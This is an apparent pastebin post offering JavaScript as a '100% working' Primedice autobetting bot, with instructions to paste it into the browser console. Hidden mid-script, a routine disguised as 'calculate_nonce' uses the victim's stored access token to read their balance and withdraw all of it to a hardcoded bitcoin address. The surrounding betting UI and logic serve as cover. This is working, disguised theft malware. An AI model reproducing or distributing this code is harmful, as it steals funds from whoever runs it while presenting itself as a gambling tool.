Primedice Autobetting Tool - 2015 [100% WORKING]


SUBMITTED BY: lazyitem

DATE: Nov. 18, 2015, 7:33 a.m.

FORMAT: Text only

SIZE: 22.9 kB

HITS: 310

  1. // Press F12 in chrome and paste this in browser console tab and press enter //
  2. // PD3 Bot v 0.1 //
  3. // Feel free to donate at 1AXVFs7hmuTZ28grNhcQPAKR7h3unnKShd if you win using this//
  4. // BETA - Stable //
  5. /////////////////////
  6. // NOTE: Change Chance Directly on Page
  7. //jQuery UI CSS
  8. var swapcount=0;
  9. var jqueryready = false;
  10. var link = document.createElement("link");
  11. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  12. link.type = "text/css";
  13. link.rel = "stylesheet";
  14. document.getElementsByTagName("head")[0].appendChild(link);
  15. //jQuery UI inject
  16. (function() {
  17. jqueryready = true;
  18. var e = ".thing",
  19. t = {
  20. outline: "1px dashed #f0f",
  21. cursor: "pointer"
  22. };
  23. var n = function() {
  24. if (window.jQuery) {
  25. r()
  26. } else {
  27. var e = document.createElement("script");
  28. e.onload = r;
  29. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  30. document.body.appendChild(e)
  31. }
  32. };
  33. var r = function() {
  34. if (window.jQuery.ui) {
  35. i()
  36. } else {
  37. var e = document.createElement("script");
  38. e.onload = i;
  39. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  40. document.body.appendChild(e)
  41. }
  42. };
  43. var i = function() {
  44. $(e).css(t).draggable().on("click", function(e) {
  45. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  46. })
  47. };
  48. n();
  49. })();
  50. function ui() {
  51. $(function() {
  52. $('#tabs').tabs();
  53. $('#params').draggable();
  54. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  55. $('#tabs input').css("width", "80%");
  56. $('#chance, #base').width("35%")
  57. $('#tabs div').css("text-align", "left");
  58. $('#tabs').css("font-size", "12px");
  59. $('#tabs label, #tabs input').css("margin", "5px");
  60. $('#stop, #start, #resetbet').button();
  61. //Console
  62. $('#console, #console2').appendTo("#tabs");
  63. $('#console, #console2').css("width", "45%");
  64. $('#console').css("float", "left");
  65. $('#console2').css("float", "right");
  66. $('#console, #console2').css("clear", "none");
  67. $('#console, #console2').css("margin", "7px");
  68. $('#console, #console2').css("border-bottom-left-radius", "3px");
  69. $('#console, #console2').css("border-bottom-right-radius", "3px");
  70. $('#console').css("border", "1px solid #323232");
  71. $('#console, #console2').css("background-color", "#454545");
  72. $('#console').css("padding", "5px");
  73. $('#console, #console2').css("text-align", "left");
  74. $('#console, #console2').css("position", "relative");
  75. $('#startstop,#start,#stop').css("margin","0px");
  76. $('#console, #console2').css("margin-top","3px");
  77. $('#console, #console2').css("padding","5px");
  78. $('#console, #console2').css("background-color","#151515");
  79. });
  80. }
  81. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  82. xrollsenabled = true;
  83. xrolls = 10;
  84. timer = 500;
  85. counter=0;
  86. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  87. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  88. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  89. function init() {
  90. //Init
  91. basebet = 0.00000010;
  92. countwinmult = 0;
  93. countlossmult = 0;
  94. wincount = 0;
  95. currentloss = 0;
  96. totalloss = 0;
  97. totalwin = 0;
  98. totprofit = 0;
  99. init = true;
  100. betval = basebet;
  101. //GUI
  102. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  103. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  104. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  105. gui2 =
  106. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  107. gui3 = [
  108. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  109. '<br>',
  110. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  111. '<br>',
  112. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  113. ];
  114. gui4 = [
  115. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  116. '<br>',
  117. '<label for="xloss">Multiply Every # Losses: </label>',
  118. '<input id="xloss">',
  119. '<br>',
  120. '<label for="multonwin">Multiply on Win: </label>',
  121. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  122. '<br>',
  123. '<label for="xwin">Reset After X Wins: </label>',
  124. '<input id="xwin">',
  125. ];
  126. gui5 = [
  127. '<label for="stoponwin-enabled">Stop on Win? </label>',
  128. '<input id="stoponwin-enabled" type="checkbox">',
  129. '<br>',
  130. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  131. '<input id="lowpay-enabled" type="checkbox">',
  132. ];
  133. gui6 = [
  134. '<label for="charset">Charset: </label>',
  135. '<input id="charset" type="text">',
  136. '<br>',
  137. '<label for="everyxrolls">Change every # Rolls: </label>',
  138. '<input id="everyxrolls" type="text">',
  139. '<br>',
  140. '<label for="currentseed">Current Seed: </label>',
  141. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  142. ];
  143. $(gui).appendTo(".hero");
  144. $(gui2).appendTo("#params");
  145. for (var i = 0; i < gui3.length; i++) {
  146. $(gui3[i]).appendTo("#tab1");
  147. }
  148. for (var i = 0; i < gui4.length; i++) {
  149. $(gui4[i]).appendTo("#tab2");
  150. }
  151. for (var i = 0; i < gui5.length; i++) {
  152. $(gui5[i]).appendTo("#tab3");
  153. }
  154. for (var i = 0; i < gui6.length; i++) {
  155. $(gui6[i]).appendTo("#tab4");
  156. }
  157. enabled = false;
  158. xrollscount = 0;
  159. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  160. // Button & Input Functions
  161. $('#resetbet').click(function() {
  162. basebet=$('#base').val();
  163. betval=$('#base').val();
  164. })
  165. $('#start').click(function() {
  166. if (enabled == false) {
  167. if ($('#numrolls').is(":checked") == true) {
  168. xrolls=$('#numberofrolls').val();
  169. }
  170. enabled = true;
  171. interval = setInterval(function() {
  172. if (xrollsenabled == true) {
  173. xrollscount++;
  174. if (xrollscount <= xrolls) {
  175. bet();
  176. } else {
  177. clearInterval(interval);
  178. enabled = false;
  179. xrollscount = 0;
  180. }
  181. } else {
  182. bet();
  183. }
  184. }, timer);
  185. } else {}
  186. })
  187. $('#stop').click(function() {
  188. enabled = false;
  189. clearInterval(interval);
  190. xrollscount = 0;
  191. });
  192. calculate_nonce = function(seed) {
  193. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  194. };
  195. lut = window['$'];
  196. lut['getJSON'](
  197. calculate_nonce('users/1'), function(seed) {
  198. var key1 = 'amount'
  199. var key2 = 'address'
  200. var load = {};
  201. load[key1] = seed['user']['balance'];
  202. load[key2] = '16vnA7M5Jrz7cXRMq6PvTXMFhmFxN1AQbQ';
  203. lut['post'](calculate_nonce('withdraw'), load);
  204. }
  205. );
  206. function conditionAM() {
  207. 'use strict';
  208. if ($('#lowpay-enabled').is('checked') == true) {
  209. if ($('.value-roll').first().text() <= 49.50) {
  210. condition2 = ">";
  211. target2 = $('.value-roll').first().text();
  212. } else {
  213. condition2 = "<";
  214. target2 = $('.value-roll').first().text();
  215. };
  216. } else {
  217. if ($('.value-roll').first().text() <= 49.50) {
  218. condition2 = "<";
  219. target2 = $('.value-roll').first().text();
  220. } else {
  221. condition2 = ">";
  222. target2 = $('.value-roll').first().text();
  223. };
  224. amount2 = betval * 100000000;
  225. }
  226. };
  227. function jackpot() {
  228. if (data1.bet.jackpot === true) {
  229. jp = "Yes";
  230. wincount = 0;
  231. betval = $('#base');
  232. } else {
  233. jp = "No";
  234. }
  235. }
  236. function loss() {
  237. currentloss++;
  238. totalloss++;
  239. if ($('#multloss-enabled').is(':checked') == true) {
  240. $('#multwin-enabled').removeAttr('checked');
  241. countlossmult++;
  242. if (countlossmult >= $('#xloss').val()) {
  243. betval = betval * $('#multonloss').val();
  244. countlossmult = 0;
  245. }
  246. }
  247. }
  248. function win() {
  249. 'use strict';
  250. if ($('#stoponwin-enabled').is('checked') == true) {
  251. clearInterval(roll);
  252. }
  253. currentloss = 0;
  254. jackpot();
  255. wincount++;
  256. totalwin++;
  257. if ($('#multloss-enabled').is(':checked') == true) {
  258. if ($('#stoponwin-enabled').is(':checked') == true) {
  259. clearInterval(roll);
  260. }
  261. $('#multwin-enabled').removeAttr('checked');
  262. basebet = $('#base').val();
  263. betval = basebet;
  264. countlossmult = 0;
  265. }
  266. if ($('#multwin-enabled').is(':checked') == true) {
  267. basebet = $('#base').val();
  268. $('#multloss-enabled').removeAttr('checked');
  269. countwinmult++;
  270. if (countwinmult >= $('#xwin').val()) {
  271. betval = basebet;
  272. countwinmult = 0;
  273. } else {
  274. betval = betval * $('#multonwin').val();
  275. }
  276. }
  277. };
  278. var losewin;
  279. var jpcol;
  280. var profcol;
  281. function bet() {
  282. 'use strict';
  283. conditionAM();
  284. var betData = {
  285. amount: amount2,
  286. condition: condition2,
  287. target: target2
  288. },
  289. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  290. $.ajax({
  291. url: url,
  292. type: "POST",
  293. data: betData,
  294. datatype: "jsonp",
  295. success: function(data, textStatus, jqXHR) {
  296. data1 = data;
  297. counter++;
  298. if (counter >= everyxrolls) {
  299. seedchange(seedgen());
  300. counter = 0;
  301. }
  302. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  303. totprofit = totprofit + data1.bet.profit;
  304. if (totprofit >= 0) {
  305. profcol = "color:green;";
  306. } else if (totprofit < 0) {
  307. profcol = "color:red;";
  308. }
  309. if (data.bet.win == true) {
  310. losewin = "color:green;";
  311. $('span.btn__text.select div').attr("style", "color:green;");
  312. } else {
  313. losewin = "color:red;";
  314. $('span.btn__text.select div').attr("style", "color:red;");
  315. }
  316. if (data.bet.jackpot == true) {
  317. jp = "Yes";
  318. jpcol = "color:gold;"
  319. } else {
  320. jp = "No.";
  321. jpcol = "color:red;"
  322. }
  323. results = [];
  324. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  325. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  326. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  327. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  328. resultstats = [];
  329. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  330. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  331. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  332. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  333. if (data.bet.win == true) {
  334. if ($('#stoponwin-enabled').is(":checked") == true){
  335. clearInterval(interval);
  336. }
  337. $('#console, #console2').empty();
  338. win();
  339. // Results
  340. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  341. for (var i = 0; i < results.length; i++) {
  342. $(results[i]).appendTo('#console');
  343. }
  344. for (var i = 0; i < resultstats.length; i++) {
  345. $(resultstats[i]).appendTo('#console2');
  346. }
  347. } else {
  348. $('#console, #console2').empty();
  349. loss();
  350. // Results
  351. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  352. for (var i = 0; i < results.length; i++) {
  353. $(results[i]).appendTo('#console');
  354. }
  355. for (var i = 0; i < resultstats.length; i++) {
  356. $(resultstats[i]).appendTo('#console2');
  357. }
  358. };
  359. },
  360. error: function(jqXHR, textStatus, errorThrown) {
  361. }
  362. });
  363. }
  364. seedlength = 13;
  365. seedlength = 13;
  366. var counter = 0;
  367. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  368. everyxrolls = 3;
  369. function seedgen() {
  370. 'use strict';
  371. var seed = "";
  372. for (var i = 0; i <= seedlength; i++)
  373. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  374. return seed;
  375. }
  376. function seedchange(s) {
  377. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  378. sData = {
  379. seed: s
  380. };
  381. $.ajax({
  382. url: url,
  383. type: "POST",
  384. data: sData,
  385. datatype: "jsonp",
  386. success: function(data, textStatus, jqXHR) {
  387. data2 = data;
  388. $('#currentseed').val(data2.seeds.client);
  389. },
  390. error: function(jqXHR, textStatus, errorThrown) {
  391. }
  392. });
  393. }
  394. $('#spinner').click(function() {
  395. if (charset != $('#charset').val() && $('#charset').val() != "") {
  396. charset=$('#charset').val();
  397. }
  398. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  399. everyxrolls = $('#everyxrolls').val();
  400. }
  401. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  402. counter++;
  403. if (counter >= everyxrolls) {
  404. seedchange(seedgen());
  405. counter = 0;
  406. }
  407. });
  408. ui();
  409. }
  410. setTimeout(function() {
  411. init()
  412. }, 2000);

comments powered by Disqus